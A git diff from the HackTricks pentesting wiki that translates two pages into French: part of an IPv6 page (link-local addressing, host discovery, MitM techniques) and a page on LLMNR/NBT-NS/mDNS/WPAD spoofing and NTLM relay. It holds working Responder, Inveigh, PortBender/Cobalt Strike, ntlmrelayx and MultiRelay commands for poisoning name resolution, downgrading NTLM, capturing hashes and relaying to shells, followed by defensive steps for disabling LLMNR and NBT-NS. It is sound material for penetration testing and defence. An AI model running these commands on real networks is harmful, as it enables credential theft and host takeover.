trouver son adresse MAC), vous pouvez calculer son adresse Link-local pour communiquer avec lui.\ +Supposons que l'**adresse MAC** est **`12:34:56:78:9a:bc`** -If you **know the MAC address of a host in the same net** as you (you could just ping its ipv4 address and view the arp table to found its MAC address), you can calculate his Link-local address to communicate with him.\ -Suppose the **MAC address** is **`12:34:56:78:9a:bc`** - -1. To IPv6 notation: **`1234:5678:9abc`** -2. Append `fe80::` at the beginning and Insert `fffe` in the middle: **`fe80::`**`1234:56`**`ff:fe`**`78:9abc` -3. Invert seventh bit from the left, from 0001 0010 to 0001 0000: `fe80::1`**`0`**`34:56ff:fe78:9abc` +1. En notation IPv6 : **`1234:5678:9abc`** +2. Ajoutez `fe80::` au début et insérez `fffe` au milieu : **`fe80::`**`1234:56`**`ff:fe`**`78:9abc` +3. Inversez le septième bit à partir de la gauche, de 0001 0010 à 0001 0000 : `fe80::1`**`0`**`34:56ff:fe78:9abc` 4. `fe80::1034:56ff:fe78:9abc` -**Unique local address:** This type of ipv6 address also not intended to be routed on the public internet. Unique local is a replacement of site-local address, that allows communication within a site while being routable to a multiple local networks.\ -**FEC00::/7** – The unique local address range. +**Adresse unique locale :** Ce type d'adresse IPv6 n'est pas destiné à être routé sur Internet public. L'adresse unique locale est un remplacement de l'adresse de site local, qui permet la communication au sein d'un site tout en étant routable vers plusieurs réseaux locaux.\ +**FEC00::/7** - La plage d'adresses locales uniques. -**Multicast Address:** This can also be refered to as One-to-Many. Packets addressed to multicast address are delivered to all interface identified by the multicast address. Multicast address types are easily notable because they normally begins with FF.\ -**FF00::/8** – The multicast range. +**Adresse multicast :** Cela peut également être appelé Un-à-Plusieurs. Les paquets adressés à une adresse multicast sont livrés à toutes les interfaces identifiées par l'adresse multicast. Les types d'adresse multicast sont facilement reconnaissables car ils commencent normalement par FF.\ +**FF00::/8** - La plage de multidiffusion. -**Anycast:** This form of ipv6 address is similar to the multicast address with a slight difference. Anycast address can also be refered to as One to Nearest. It can be used to address packets meant for multiple interfaces; but usually it sends packets to the first interface it finds as defined in the routing distance. This means it send packets to the closest interface as determined by routing protocols.\ -**20000::/3** – The global unicast address range. +**Anycast :** Cette forme d'adresse IPv6 est similaire à l'adresse multicast avec une légère différence. L'adresse anycast peut également être appelée Un à Plus Proche. Elle peut être utilisée pour adresser des paquets destinés à plusieurs interfaces ; mais elle envoie généralement des paquets à la première interface qu'elle trouve, telle que définie dans la distance de routage. Cela signifie qu'elle envoie des paquets à l'interface la plus proche déterminée par les protocoles de routage.\ +**20000::/3** - La plage d'adresses unicast globales. -fe80::/10--> Unique Link-Local (169.254.x.x) \[fe80:0000:0000:0000:0000:0000:0000:0000,febf:ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff]\ -fc00::/7 --> Unique Local-Unicast (10.x.x.x, 172.16.x.x, 192.168.x.x) \[]\ -2000::/3 --> Global Unicast\ -ff02::1 --> Multicast All Nodes\ -ff02::2 --> Multicast Router Nodes +fe80::/10 --> Link-Local Unique (169.254.x.x) \[fe80:0000:0000:0000:0000:0000:0000:0000, febf:ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff]\ +fc00::/7 --> Local-Unicast Unique (10.x.x.x, 172.16.x.x, 192.168.x.x) \[]\ +2000::/3 --> Unicast global\ +ff02::1 --> Multicast Tous les nœuds\ +ff02::2 --> Multicast Nœuds de routeur -## **Guess the IPv6 of a machine** +## **Devinez l'IPv6 d'une machine** -**Way 1** +**Méthode 1** -The IPv6 of fe80::/10 are based on the MAC. If you have the IPv6 of a device inside a network and you want to guess the IPv6 of another device of the network, you can get its MAC address using a ping (inside the arp table). +Les adresses IPv6 de fe80::/10 sont basées sur l'adresse MAC. Si vous avez l'IPv6 d'un appareil à l'intérieur d'un réseau et que vous voulez deviner l'IPv6 d'un autre appareil du réseau, vous pouvez obtenir son adresse MAC en utilisant une requête ping (à l'intérieur de la table ARP). -**Way2** - -You can send a ping6 to the multicast and get the IPv6 address inside the arp table. +**Méthode 2** +Vous pouvez envoyer un ping6 à la multidiffusion et obtenir l'adresse IPv6 à l'intérieur de la table ARP. ```bash service ufw stop #Stop firewall ping6 -I ff02::1 #You could also make: ping6 -I ff02::1 if you want to make a ping to a specific IP Address @@ -78,37 +73,34 @@ ip -6 neigh alive6 use auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement; set INTERFACE eth1; run ``` - # IPv6 MitM -Man in the middle with spoofed ICMPv6 neighbor advertisement. +Homme du milieu avec annonce de voisin ICMPv6 falsifiée. -* Man in the middle with spoofed ICMPv6 router advertisement. -* Man in the middle using ICMPv6 redirect or ICMPv6 too big to implant route. -* Man in the middle to attack mobile IPv6 but requires ipsec to be disabled. -* Man in the middle with rogue DHCPv6 server +* Homme du milieu avec annonce de routeur ICMPv6 falsifiée. +* Homme du milieu utilisant une redirection ICMPv6 ou ICMPv6 trop grand pour implanter une route. +* Homme du milieu pour attaquer le mobile IPv6 mais nécessite que ipsec soit désactivé. +* Homme du milieu avec un serveur DHCPv6 malveillant. -# Discovering IPv6 addresses in the wild +# Découverte d'adresses IPv6 dans la nature -## Sudomains - -You can use google and other browsers to search for subdomains like "ipv6.\*" +## Sous-domaines +Vous pouvez utiliser Google et d'autres navigateurs pour rechercher des sous-domaines comme "ipv6.\*" ```bash site:ipv6./ ``` - ## DNS -You could also try to search "**AXFR**"(zone transfer), "**AAAA**"(IPv6) or even "**ANY**" (all) registry in DNS to find IPv6 addresses. +Vous pouvez également essayer de rechercher les adresses IPv6 en utilisant "**AXFR**" (zone de transfert), "**AAAA**" (IPv6) ou même "**ANY**" (tout) registre dans DNS. ## Ping6 -Once some IPv6 devices of an organisation have been found, you could try to use `ping6` to check nearby addresses. +Une fois que vous avez trouvé certains appareils IPv6 d'une organisation, vous pouvez essayer d'utiliser `ping6` pour vérifier les adresses à proximité. -# References +# Références * [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html) * [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904) @@ -118,16 +110,14 @@ Once some IPv6 devices of an organisation have been found, you could try to use ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index f8fb843e8..745ab468a 100644 --- a/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -1,53 +1,50 @@ -# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks +# Spoofing LLMNR, NBT-NS, mDNS/DNS et WPAD et attaques de relais
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Network protocols +## Protocoles réseau -### LLMNR, NBT-NS, and mDNS +### LLMNR, NBT-NS et mDNS -Microsoft systems use Link-Local Multicast Name Resolution (LLMNR) and the NetBIOS Name Service (NBT-NS) for local host resolution when DNS lookups fail. Apple Bonjour and Linux zero-configuration implementations use Multicast DNS (mDNS) to discover systems within a network. These protocols are unauthenticated and broadcast messages over UDP; thus, attackers can exploit them to direct users to malicious services. +Les systèmes Microsoft utilisent Link-Local Multicast Name Resolution (LLMNR) et le service de noms NetBIOS (NBT-NS) pour la résolution locale des hôtes lorsque les recherches DNS échouent. Les implémentations de Bonjour d'Apple et de configuration zéro de Linux utilisent Multicast DNS (mDNS) pour découvrir les systèmes au sein d'un réseau. Ces protocoles ne sont pas authentifiés et diffusent des messages sur UDP ; ainsi, les attaquants peuvent les exploiter pour diriger les utilisateurs vers des services malveillants. -You can impersonate services that are searched by hosts using Responder to send fake responses.\ -Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +Vous pouvez vous faire passer pour des services recherchés par les hôtes en utilisant Responder pour envoyer de fausses réponses.\ +Lisez ici plus d'informations sur [comment se faire passer pour des services avec Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### WPAD -Many browsers use Web Proxy Auto-Discovery (WPAD) to load proxy settings from the network. A WPAD server provides client proxy settings via a particular URL (e.g., _http://wpad.example.org/wpad.dat_) upon being identified through any of the following: +De nombreux navigateurs utilisent Web Proxy Auto-Discovery (WPAD) pour charger les paramètres de proxy à partir du réseau. Un serveur WPAD fournit les paramètres de proxy client via une URL particulière (par exemple, _http://wpad.example.org/wpad.dat_) lorsqu'il est identifié par l'un des éléments suivants : -* DHCP, using a code 252 entry[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41) -* DNS, searching for the _wpad_ hostname in the local domain -* Microsoft LLMNR and NBT-NS (in the event of DNS lookup failure) +* DHCP, en utilisant une entrée de code 252[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41) +* DNS, en recherchant le nom d'hôte _wpad_ dans le domaine local +* Microsoft LLMNR et NBT-NS (en cas d'échec de la recherche DNS) -Responder automates the WPAD attack—running a proxy and directing clients to a malicious WPAD server via DHCP, DNS, LLMNR, and NBT-NS. +Responder automatise l'attaque WPAD - en exécutant un proxy et en dirigeant les clients vers un serveur WPAD malveillant via DHCP, DNS, LLMNR et NBT-NS. -## Protocols Poisoning +## Empoisonnement de protocoles -### Responder - LLMNR, NBT-NS and MDNS +### Responder - LLMNR, NBT-NS et MDNS -> Responder an LLMNR, NBT-NS and MDNS poisoner. It will answer to _specific_ NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: [http://support.microsoft.com/kb/163409](http://support.microsoft.com/kb/163409)). By default, the tool will only answer to File Server Service request, which is for SMB. +> Responder est un empoisonneur LLMNR, NBT-NS et MDNS. Il répondra à des requêtes NBT-NS (NetBIOS Name Service) spécifiques en fonction de leur suffixe de nom (voir : [http://support.microsoft.com/kb/163409](http://support.microsoft.com/kb/163409)). Par défaut, l'outil ne répondra qu'à la demande de service de serveur de fichiers, qui est pour SMB. > -> The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. +> Le concept derrière cela est de cibler nos réponses et d'être plus discret sur le réseau. Cela aide également à garantir que nous ne perturbons pas le comportement légitime de NBT-NS. -* [**Responder**](https://github.com/lgandx/Responder) is installed in kali by default and the config file is located in \*\*`/etc/responder/Responder.conf` \*\* (here you can disable rogue servers) -* **Responder** will **print hashes out on screen** and **write** it to a **log** file per host located in the `/usr/share/responder/logs` directory. Hashes are saved in the format `(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt` -* You can find here Responder for **windows** [here](https://github.com/lgandx/Responder-Windows) -* Responder works in **ipv4** & **ipv6** - -#### Responder Params - -Responder supports the following options: +* [**Responder**](https://github.com/lgandx/Responder) est installé par défaut dans kali et le fichier de configuration se trouve dans \*\*`/etc/responder/Responder.conf` \*\* (ici, vous pouvez désactiver les serveurs malveillants) +* **Responder** affichera les hachages à l'écran et les écrira dans un fichier journal par hôte situé dans le répertoire `/usr/share/responder/logs`. Les hachages sont enregistrés dans le format `(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt` +* Vous pouvez trouver ici Responder pour **windows** [ici](https://github.com/lgandx/Responder-Windows) +* Responder fonctionne en **ipv4** et **ipv6** +#### Paramètres de Responder ``` --version show program's version number and exit -h, --help show this help message and exit @@ -91,110 +88,94 @@ Responder supports the following options: --disable-ess Force ESS downgrade. Default: False -v, --verbose Increase verbosity. ``` -
-Responder Params +Paramètres de Responder -* The `-A` flag puts us into **analyze mode**, allowing us to see NBT-NS, BROWSER, and LLMNR requests in the environment without poisoning any responses. -* We must always supply either an interface or an IP. -* `-wf` will start the WPAD rogue proxy server -* `-f` will attempt to fingerprint the remote host operating system and version -* Use the `-v` flag for increased verbosity (a lot of additional data printed to the console) -* Options such as `-F` and `-P` can be used to force NTLM or Basic authentication and force proxy authentication, but may cause a login prompt, so they should be used sparingly. -* The `-w` flag utilizes the built-in WPAD proxy server. This can be highly effective, especially in large organizations, because it will capture all HTTP requests by any users that launch Internet Explorer if the browser has [Auto-detect settings](https://docs.microsoft.com/en-us/internet-explorer/ie11-deploy-guide/auto-detect-settings-for-ie11) enabled. +* Le drapeau `-A` nous met en mode **analyse**, nous permettant de voir les requêtes NBT-NS, BROWSER et LLMNR dans l'environnement sans empoisonner les réponses. +* Nous devons toujours fournir soit une interface soit une adresse IP. +* `-wf` démarrera le serveur proxy malveillant WPAD +* `-f` tentera de déterminer le système d'exploitation et la version de l'hôte distant +* Utilisez le drapeau `-v` pour une verbosité accrue (beaucoup de données supplémentaires imprimées sur la console) +* Des options telles que `-F` et `-P` peuvent être utilisées pour forcer l'authentification NTLM ou de base et forcer l'authentification du proxy, mais peuvent provoquer une invite de connexion, elles doivent donc être utilisées avec parcimonie. +* Le drapeau `-w` utilise le serveur proxy WPAD intégré. Cela peut être très efficace, surtout dans les grandes organisations, car il capturera toutes les requêtes HTTP de tous les utilisateurs qui lancent Internet Explorer si le navigateur a [détecter automatiquement les paramètres](https://docs.microsoft.com/fr-fr/internet-explorer/ie11-deploy-guide/auto-detect-settings-for-ie11) activé.
-#### Running Responder - -To run default Responder behaviour you only have to execute: +#### Exécution de Responder +Pour exécuter le comportement par défaut de Responder, il suffit d'exécuter: ```bash responder -I #Default conf responder -I -P -r -v #More chances but might break things ``` - -An interesting technique is to use responder to downgrade the NTLM authentication when possible. This will allow to **capture NTLMv1 challenges and responses** instead of NTLMv2 that can be **easily cracked** [**following this guide**](../../windows-hardening/ntlm/#ntlmv1-attack)**.** - +Une technique intéressante consiste à utiliser Responder pour rétrograder l'authentification NTLM lorsque cela est possible. Cela permettra de **capturer les défis et les réponses NTLMv1** au lieu de NTLMv2 qui peuvent être **facilement craqués** [**en suivant ce guide**](../../windows-hardening/ntlm/#ntlmv1-attack)**.** ```bash #Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788" responder -I --lm --disable-ess #Downgrade NTLM authntication if possible and force ESS downgrade ``` - -By **default**, the **WPAD impersonation won't be executed**, but you can execute it doing: - +Par **défaut**, l'**usurpation de WPAD ne sera pas exécutée**, mais vous pouvez l'exécuter en faisant: ```bash responder -I --wpad ``` - -You can also **resolve NetBIOS** requests with **your IP**. And create an **authentication proxy**: - +Vous pouvez également **résoudre les requêtes NetBIOS** avec **votre adresse IP**. Et créer un **proxy d'authentification** : ```bash responder.py -I -Pv ``` +Vous ne pourrez pas intercepter les hachages NTLM (normalement), mais vous pouvez facilement récupérer certains **défis et réponses NTLM** que vous pouvez **craquer** en utilisant, par exemple, l'option `--format=netntlmv2` de _**john**_. -You won't be able to intercept NTLM hashes (normally), but you can easily grab some **NTLM challenges and responses** that you can **crack** using for example _**john**_ option `--format=netntlmv2`. +Les **logs et les défis** de l'installation par défaut de _**Responder**_ dans Kali peuvent être trouvés dans `/usr/share/responder/logs`. -The **logs and the challenges** of default _**Responder**_ installation in kali can be found in `/usr/share/responder/logs` +#### Responder - Empoisonnement DHCP -#### Responder - DHCP Poisoning +Windows utilise plusieurs options DHCP personnalisées telles que NetBIOS, WINS, les paramètres WPAD. Lorsqu'une station de travail envoie une demande DHCP pour obtenir ses paramètres de réseau, ces paramètres supplémentaires peuvent être inclus dans la réponse DHCP pour faciliter la connectivité et la résolution de noms. -Windows uses several custom DHCP options such as NetBIOS, WINS, WPAD settings. When a workstation sends a DHCP request to get its networking settings, these additional settings can be included in the DHCP answer to facilitate straightforward connectivity and name resolution. +Le détournement de réponses DHCP sans perturbation peut être difficile car vous interférez avec la configuration réseau d'une station de travail. En général, vous devez avoir une très bonne connaissance du sous-réseau cible, de l'emplacement du serveur DNS, du commutateur, de la table de routage, du domaine, du masque de réseau, du serveur DHCP, etc. **Toute erreur avec ces paramètres entraînera une perturbation sur le réseau.** -Spoofing DHCP responses with no disruption can be challenging since you're interfering with a workstation network configuration. Usually, you need to have very good knowledge of the target subnet, where is the DNS server, where is the switch, routing table, domain, netmask, DHCP server, etc. **Any mistake with these settings will result in disruption on the network.** - -However, spoofing DHCP answers has unique benefits. **It's definitely stealthier than ARP poisoning**; One unicast response is sufficient to permanently poison a victim's routing information, it's also common to see multiple DHCP servers operating on a network. Unicast DHCP answers are more complex to detect, a few switch provides security settings to prevent DHCP snooping, however those settings are not straightforward and are often misconfigured when enabled. - -> This attack is highly effective and gives you assured NTLMv1/2 hashes. +Cependant, le détournement de réponses DHCP présente des avantages uniques. **C'est certainement plus discret que l'empoisonnement ARP**; une réponse unicast est suffisante pour empoisonner de manière permanente les informations de routage d'une victime, il est également courant de voir plusieurs serveurs DHCP fonctionner sur un réseau. Les réponses DHCP unicast sont plus complexes à détecter, quelques commutateurs fournissent des paramètres de sécurité pour empêcher l'écoute DHCP, cependant ces paramètres ne sont pas simples et sont souvent mal configurés lorsqu'ils sont activés. +> Cette attaque est très efficace et vous donne des hachages NTLMv1/2 assurés. ```bash ./Responder.py -I eth0 -Pdv ``` +#### Responder - Capture de crédentials -#### Responder - Capturing credentials +Responder va **usurper tous les services utilisant les protocoles mentionnés**. Lorsqu'un utilisateur essaie d'accéder à un service résolu en utilisant ces protocoles, **il va essayer de s'authentifier contre Responder** et Responder sera capable de **capturer** les "crédentials" (probablement un **défi/réponse NTLMv2**): -Responder is going to **impersonate all the service using the mentioned protocols**. Once some user try to access a service being resolved using those protocols, **he will try to authenticate against Responde**r and Responder will be able to **capture** the "credentials" (most probably a **NTLMv2 Challenge/Response**): - -It is possible to try to downgrade to NetNTLMv1 or to try to disable ESS. +Il est possible d'essayer de rétrograder vers NetNTLMv1 ou de désactiver ESS. ![](<../../.gitbook/assets/poison (1) (1) (1).jpg>) ### Inveigh - C#/PowerShell Responder -> Inveigh is a PowerShell ADIDNS/LLMNR/NBNS/mDNS/DNS spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system. +> Inveigh est un outil de spoofing et de man-in-the-middle PowerShell ADIDNS/LLMNR/NBNS/mDNS/DNS conçu pour aider les testeurs de pénétration/red teamers qui se trouvent limités à un système Windows. -[**Inveigh** ](https://github.com/Kevin-Robertson/Inveigh)was a PowerShell script, now it's a C# binary that has the same main features as Responder. There is a [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) \*\*\*\* that lists all parameters and usage instructions.\ -Another version can be found in [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero). +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) était un script PowerShell, maintenant c'est un binaire C# qui a les mêmes fonctionnalités principales que Responder. Il y a un [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) qui répertorie tous les paramètres et les instructions d'utilisation.\ +Une autre version peut être trouvée dans [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero). ![](../../.gitbook/assets/45662029-1b5e6300-bace-11e8-8180-32f8d377d48b.png) -Or run it with more options: - +Ou l'exécuter avec plus d'options: ```powershell Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y ``` - -Or run the C# version: - +Ou exécutez la version C#: ```bash Inveigh.exe ``` +## Attaque de relais NTLM -## NTLM Relay Attack +Cette attaque relaie les sessions d'authentification SMB sur un réseau interne vers une machine cible. Si la session d'authentification réussit, elle vous fera automatiquement accéder à une invite de commande système. Veuillez noter que l'authentification relayée doit provenir d'un utilisateur ayant un accès administrateur local à l'hôte relayé et que la signature SMB doit être désactivée. -This attack relays **SMB authentication sessions** on an internal network to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**. Please, note that the relayed authentication must be from a **user which has Local Admin access to the relayed** host and **SMB signing must be disabled**. - -### 445 forward and tunneling +### Transfert et tunnelisation du port 445 {% hint style="warning" %} -If you can **introduce a machine inside the network** you can use any of the **tools** of the following section to perform a relay attack and you don't need to care about this. +Si vous pouvez introduire une machine à l'intérieur du réseau, vous pouvez utiliser l'un des outils de la section suivante pour effectuer une attaque de relais et vous n'avez pas besoin de vous en soucier. {% endhint %} -However, in red teams this isn't the case, in red teams you usually will need to **forward the traffic of the port 445 of a Windows machine to your machine** executing any of the following tools and then r**oute back the traffic of that tool through a proxy** to reach the machine to attack inside the internal. - -The tool [**PortBender**](https://github.com/praetorian-inc/PortBender) \*\*\*\* is a driver to **redirect** traffic destined for port **445 to another port** (e.g. 8445) that **we can bind**. It **requires local admin** access in order for the driver to be loaded. It makes sense to use `cd C:\Windows\System32\drivers` since this is where most Windows drivers go. +Cependant, dans les équipes rouges, ce n'est pas le cas, vous devrez généralement **rediriger le trafic du port 445 d'une machine Windows vers votre machine** en exécutant l'un des outils suivants, puis **router le trafic de cet outil à travers un proxy** pour atteindre la machine à attaquer à l'intérieur de l'interne. +L'outil [**PortBender**](https://github.com/praetorian-inc/PortBender) est un pilote pour **rediriger** le trafic destiné au port **445 vers un autre port** (par exemple, 8445) que nous pouvons lier. Il **nécessite un accès administrateur local** pour que le pilote soit chargé. Il est logique d'utiliser `cd C:\Windows\System32\drivers` car c'est là que vont la plupart des pilotes Windows. ```bash Cobalt Strike -> Script Manager -> Load (Select from the filesystem PortBender.cna) @@ -210,9 +191,9 @@ beacon> jobkill 0 beacon> rportfwd stop 8445 beacon> socks stop ``` - ### Metasploit +Metasploit est un framework de test de pénétration open source qui permet aux testeurs de pénétrer dans des systèmes et des réseaux pour trouver des vulnérabilités. Il est utilisé pour automatiser les tâches de test de pénétration telles que la recherche de vulnérabilités, l'exploitation de vulnérabilités et la création de rapports. Metasploit est largement utilisé par les professionnels de la sécurité pour tester la sécurité des systèmes et des réseaux. ```bash setg Proxies socks4:127.0.0.1:1080 # Use this if you need to route the traffic to reach the attacked ip set SRVHOST @@ -220,9 +201,13 @@ set SRVPORT 445 set SMBHOST run -j ``` - ### smbrelayx +smbrelayx est un outil qui permet de réaliser des attaques de relais SMB. Il peut être utilisé pour obtenir des informations d'identification, accéder à des systèmes distants et exécuter des commandes à distance. L'outil fonctionne en écoutant le trafic SMB sur le réseau et en interceptant les demandes d'authentification. Il peut ensuite relayer ces demandes vers un autre système, en utilisant les informations d'identification interceptées pour s'authentifier auprès du système cible. Cela permet à l'attaquant d'accéder au système cible sans avoir besoin de connaître les informations d'identification réelles. + +Smbrelayx peut être utilisé pour attaquer des systèmes Windows, ainsi que des systèmes Linux qui ont été configurés pour utiliser Samba. Il peut également être utilisé pour attaquer des systèmes qui utilisent des protocoles similaires, tels que le protocole NetBIOS. + +Il est important de noter que smbrelayx est un outil très puissant et qu'il peut causer des dommages importants s'il est utilisé de manière incorrecte. Il est donc recommandé de l'utiliser avec prudence et uniquement à des fins légales et éthiques. ```bash python3 smbrelayx.py -t smb:// -smb2support --no-http-server --no-wcf-server # By default it will just dump hashes @@ -232,11 +217,9 @@ python3 smbrelayx.py -t smb:// -smb2support --no-http-server --no- # Attack through socks proxy proxychains python3 ntlmrelayx.py -t smb:// -smb2support --no-http-server --no-wcf-server ``` - ### MultiRelay -If you want to use **MultiRelay**, go to _**/usr/share/responder/tools**_ and execute MultiRelay (`-t -u `): - +Si vous souhaitez utiliser **MultiRelay**, allez dans _**/usr/share/responder/tools**_ et exécutez MultiRelay (`-t -u `): ```bash python MultiRelay.py -t -u ALL # If "ALL" then all users are relayed # By default a shell is returned @@ -245,12 +228,9 @@ python MultiRelay.py -t -u ALL -d #-d to dump hashes # Use proxychains if you need to route the traffic to reach the attacked ip ``` +### Forcer les connexions NTLM -![](<../../.gitbook/assets/image (209).png>) - -### Force NTLM Logins - -In Windows you **may be able to force some privileged accounts to authenticate to arbitrary machines**. Read the following page to learn how: +Sous Windows, vous **pouvez être en mesure de forcer certains comptes privilégiés à s'authentifier sur des machines arbitraires**. Lisez la page suivante pour en savoir plus : {% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} [printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md) @@ -258,53 +238,53 @@ In Windows you **may be able to force some privileged accounts to authenticate t ## Solution -### Disabling LLMNR +### Désactiver LLMNR -To disable LLMNR in your domain for DNS clients, open gpedit.msc.\ -Navigate to Computer Configuration->Administrative Templates->Network->DNS client.\ -Locate the option “Turn off multicast name resolution” and click “policy setting”: +Pour désactiver LLMNR dans votre domaine pour les clients DNS, ouvrez gpedit.msc.\ +Accédez à Configuration de l'ordinateur->Modèles d'administration->Réseau->Client DNS.\ +Localisez l'option "Désactiver la résolution de nom multicast" et cliquez sur "Paramètre de stratégie" : ![](../../.gitbook/assets/1.jpg) -Once the new window opens, enable this option, press Apply and click OK: +Une fois que la nouvelle fenêtre s'ouvre, activez cette option, appuyez sur Appliquer et cliquez sur OK : ![](../../.gitbook/assets/2.jpg) -### **Disabling NBT-NS** +### **Désactiver NBT-NS** -One option for disabling NBT-NS is to use DHCP scope options. +Une option pour désactiver NBT-NS consiste à utiliser les options de plage DHCP. -If using Microsoft's DHCP server, select the scope that you want to disable NBT-NS for. Right click “Scope Options” and click “Configure Options”. In the example below, the DHCP scope in which I want to disable NBT-NS for is 192.168.1.100. +Si vous 